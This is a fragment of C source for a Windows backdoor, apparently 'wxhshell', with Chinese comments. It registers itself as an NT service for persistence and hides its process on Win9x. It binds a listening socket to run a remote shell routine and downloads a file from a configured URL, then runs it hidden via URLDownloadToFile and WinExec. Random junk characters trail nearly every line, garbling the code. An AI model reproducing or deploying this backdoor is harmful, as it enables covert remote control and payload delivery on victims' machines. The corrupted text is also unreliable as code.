DWORD BasePriority; =OR"Bd:O
ULONG UniqueProcessId; <S@XK%
ULONG InheritedFromUniqueProcessId; + )lkHv$R
} PROCESS_BASIC_INFORMATION; DNmP> ~
(*Fb/
PROCNTQSIP NtQueryInformationProcess; 2'T uS?
MNWuw;:v
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4khc*fh
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C
$*#<<G
V:*6R/Ft
HANDLE hProcess; w3E#v&"=Y
PROCESS_BASIC_INFORMATION pbi; [\,Jy8t)\
V \Sl->:
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YX{c06BHs
if(NULL == hInst ) return 0; E*G{V j
_sX@BE
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JK9 J;c#T
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GS&iSjw
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ipH'}~=ID
7AuzGA0y
if (!NtQueryInformationProcess) return 0; 1%Su~Z"W>
|Q*OA
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HBiUp$(mB
if(!hProcess) return 0; nz_1Fu>g|
>(BAIjF
E\
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2Mw^EjR
vH)V\V
CloseHandle(hProcess); u 1)
#^?
uB>OS1=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [iGL~RiXtn
if(hProcess==NULL) return 0; >))K%\p
6#upBF:
HMODULE hMod; _]6n]koD,
char procName[255]; AoFxh o
unsigned long cbNeeded; {No
Y`j5S
`w
K6B5>
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s~n@|m9k
^udl&>
CloseHandle(hProcess); 3u@=]0ZN
0$:jZ/._
if(strstr(procName,"services")) return 1; // 以服务启动 z 8y.@<6
y41,T&ja
return 0; // 注册表启动 5Zy%Nam'gN
} W+`T:Mgh
$c1xh.
// 主模块 =kDh: &u%
int StartWxhshell(LPSTR lpCmdLine) +Vw]DLWR
{ Y |'}VU
SOCKET wsl; M=#'+CF}W
BOOL val=TRUE; vV*i)`IXe
int port=0; 0.z\YTZ9
struct sockaddr_in door; A|
s\5"??
;nbbKQ]u
if(wscfg.ws_autoins) Install(); G'0JK+=o
s~g0VNu Y
port=atoi(lpCmdLine); R@A"U[*
[|tlTk
if(port<=0) port=wscfg.ws_port; #H-EOXy
kJk6lPSqi7
WSADATA data; b<8,'QgB
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "pTU&He
),5|Ves;t[
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; cg).b?g
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &at>sQ'
door.sin_family = AF_INET; ]%ey rbU
door.sin_addr.s_addr = inet_addr("127.0.0.1"); %[WOQ.Sh
door.sin_port = htons(port); Y0xn}:%K
SI9PgC
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?G<.W[3
closesocket(wsl); 49-wFF
return 1; N-YCOSUu
} ='Fh^]*5
BI :O?!:9)
if(listen(wsl,2) == INVALID_SOCKET) { 6S&OE k
closesocket(wsl); DW>|'w %
return 1; =cWg39$(I
} E@CK.-N|
Wxhshell(wsl); {pz7ADK<
WSACleanup(); J?_-Dg(=
mIah[~G
return 0; /4{IxQk
vu|-}v?:
} -h%1rw
/j"aOLL|
// 以NT服务方式启动 x9 i^_3Z
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TxvvCV^
{
>B$J
DWORD status = 0; $5N\sdyZxg
DWORD specificError = 0xfffffff; s}g3*_"
tf4clzSTa
serviceStatus.dwServiceType = SERVICE_WIN32; ]:}x 4O#
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6oy[0hj
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *yqke<o9)
serviceStatus.dwWin32ExitCode = 0; Wo7`gf_ (
serviceStatus.dwServiceSpecificExitCode = 0; 5Mz6/&`
serviceStatus.dwCheckPoint = 0; vEC#W43l
serviceStatus.dwWaitHint = 0; .Zm de*b
!P@4d G
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u]MQ(@HHF
if (hServiceStatusHandle==0) return; fir#5,*q|
W-<`Vo'
status = GetLastError(); SdNxSD$Q
if (status!=NO_ERROR) RW|Xh8.O
{ rbc7CPq_^
serviceStatus.dwCurrentState = SERVICE_STOPPED; 35n'sVn
serviceStatus.dwCheckPoint = 0; Zy=DY
serviceStatus.dwWaitHint = 0; ]/{iIS_
serviceStatus.dwWin32ExitCode = status; V@pUU~6R
serviceStatus.dwServiceSpecificExitCode = specificError; nQ08(8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wiere0 2*
return; }S 6h1X
} P asVfC@
C"R}_C|r)*
serviceStatus.dwCurrentState = SERVICE_RUNNING; 'H-hp
serviceStatus.dwCheckPoint = 0; YYF.0G}
serviceStatus.dwWaitHint = 0; 0S&C[I
o6
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K96N{"{iI%
} _3zJ.%
=h,J!0Y
// 处理NT服务事件,比如:启动、停止 ;"JgNad
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'c#AGi9
{ k%?qN,Cl
switch(fdwControl) rAh|r}R
{ ,*Wp$
case SERVICE_CONTROL_STOP: %hi]oz
serviceStatus.dwWin32ExitCode = 0; tu6<>
serviceStatus.dwCurrentState = SERVICE_STOPPED; <6.?:Jj
serviceStatus.dwCheckPoint = 0; 4P}d/w?'KL
serviceStatus.dwWaitHint = 0; y/;DA=
{ dZuPR
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~WKWx.ul
} Q& S 7_
return; p
Cgm!t?/
case SERVICE_CONTROL_PAUSE: 0y3C
/>a
serviceStatus.dwCurrentState = SERVICE_PAUSED; DqA$%b
yyE
break; FYIz_GTk
case SERVICE_CONTROL_CONTINUE: (g0U v.*
serviceStatus.dwCurrentState = SERVICE_RUNNING; yi*EE%
break; hCob^o
case SERVICE_CONTROL_INTERROGATE: g"v6UZ\
break; _*-b0 }T
}; 9 e;8"rJ?C
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :;K Q]<
} wQ?Z y;/S
}fL
] }&
// 标准应用程序主函数 H
$mZ?
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~toR)=Yv
{ <4P.B?-/t
uLr-!T
// 获取操作系统版本 8\rAx P}=
OsIsNt=GetOsVer(); wowWq\euY
GetModuleFileName(NULL,ExeFile,MAX_PATH); ? kCo/sW
TecWv@.
// 从命令行安装 ?KG4Z
if(strpbrk(lpCmdLine,"iI")) Install(); ~(]'ah,
A u"BDP
// 下载执行文件 TGuCIc0B{
if(wscfg.ws_downexe) { P5__[aTD
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 00pe4^U
WinExec(wscfg.ws_filenam,SW_HIDE); x\ 8gb#8
} zQoJ8i>
8=u88?Bh
if(!OsIsNt) { \ESNfL5
// 如果时win9x,隐藏进程并且设置为注册表启动 5MK.>3fE
HideProc(); y\Wp}}
StartWxhshell(lpCmdLine); .t.4y.
97
} ='6@^6y
else p~OX1RBI
if(StartFromService()) ?dmwz4k0
// 以服务方式启动 n^` `)"
StartServiceCtrlDispatcher(DispatchTable); Y8for'
else ,qj M1xkL$
// 普通方式启动 T;v^BVn
StartWxhshell(lpCmdLine); Se|h]+G
*i V#_
return 0; FpZ5@
}